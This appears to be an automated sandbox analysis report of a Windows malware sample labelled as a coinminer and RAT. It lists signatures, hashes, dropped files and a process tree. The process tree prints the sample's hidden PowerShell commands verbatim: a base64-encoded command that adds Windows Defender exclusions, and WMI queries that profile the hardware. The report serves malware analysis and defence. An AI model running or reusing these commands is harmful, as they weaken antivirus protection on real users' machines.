Overview

overview

10

Static

static

10

2026-08-09...ch.exe

windows10-2004-x64

8

2026-08-09...ch.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 06:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-09_bb78b644ddb2f5ca79a4613a2a25b84b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 11.2MB
  • Sample260809-g96abssdka
  • SHA256 5b50b74b76f7bf62085778a6dc5ef291fad79b2466ed2dde353935e065d0c45d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
execution

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

    execution
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-09_bb78b644ddb2f5ca79a4613a2a25b84b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-09_bb78b644ddb2f5ca79a4613a2a25b84b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand IwAgAFQAaABpAHMAIABzAGMAcgBpAHAAdAAgAGEAZABkAHMAIABlAHgAYwBsAHUAcwBpAG8AbgBzACAAdABvACAAdwBpAG4AZABvAHcAcwAgAGQAZQBmAGUAbgBkAGUAcgANAAoAdAByAHkAIAB7AA0ACgAgACAAIAAgAGkAZgAgACgARwBlAHQALQBDAG8AbQBtAGEAbgBkACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBHAGUAdABGAG8AbABkAGUAcgBQAGEAdABoACgAIgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwBYADgANgAiACkADQAKACAAIAAgACAAIAAgACAAIAAkAHUAcABkAHAAYQB0AGgAIAA9ACAAJABQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAgAC0AcgBlAHAAbABhAGMAZQAgACIAIABcACgAeAA4ADYAXAApACIALAAgACIAIgANAAoAIAAgACAAIAAgACAAIAAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHUAcABkAHAAYQB0AGgADQAKAA0ACgAgACAAIAAgACAAIAAgACAAJABQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwBYADgANgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEYAbwBsAGQAZQByAFAAYQB0AGgAKAAiAFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzAFgAOAA2ACIAKQANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzAFgAOAA2ACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwBYADgANgANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAJABBAHAAcABEAGEAdABhACAAPQAgAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoARwBlAHQARgBvAGwAZABlAHIAUABhAHQAaAAoACIAQQBwAHAAbABpAGMAYQB0AGkAbwBuAEQAYQB0AGEAIgApAA0ACgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAQQBwAHAARABhAHQAYQANAAoADQAKACAAIAAgACAAIAAgACAAIAAkAEwAbwBjAGEAbABBAHAAcABEAGEAdABhACAAPQAgAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoARwBlAHQARgBvAGwAZABlAHIAUABhAHQAaAAoACIATABvAGMAYQBsAEEAcABwAGwAaQBjAGEAdABpAG8AbgBEAGEAdABhACIAKQANAAoAIAAgACAAIAAgACAAIAAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAEwAbwBjAGEAbABBAHAAcABEAGEAdABhAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAGMAYQB0AGMAaAAgAHsADQAKAH0ADQAKAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4644
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject -Query \"select Name from Win32_Processor\").Name"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject -Query \"Select Name from Win32_VideoController\").Name"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject -Query \"select * from Win32_OperatingSystem\").Caption"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject -Query \"select TotalPhysicalMemory from Win32_ComputerSystem\").TotalPhysicalMemory"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1636

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 00f79910e1c653d9334387293a08358e8cf153391be1b7f4a6c07382d95e3aa0
        • MD5 SHA1 SHA512
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
        • MD5 SHA1 SHA512
        Submit Download

        __PSScriptPolicyTest_bjwxx1fp.ejq.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bjwxx1fp.ejq.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/980-2-0x0000025171C70000-0x0000025171C80000-memory.dmp
        Download

        memory/980-1-0x0000025171C70000-0x0000025171C80000-memory.dmp
        Download

        memory/980-3-0x00000251726A0000-0x00000251726C2000-memory.dmp
        Download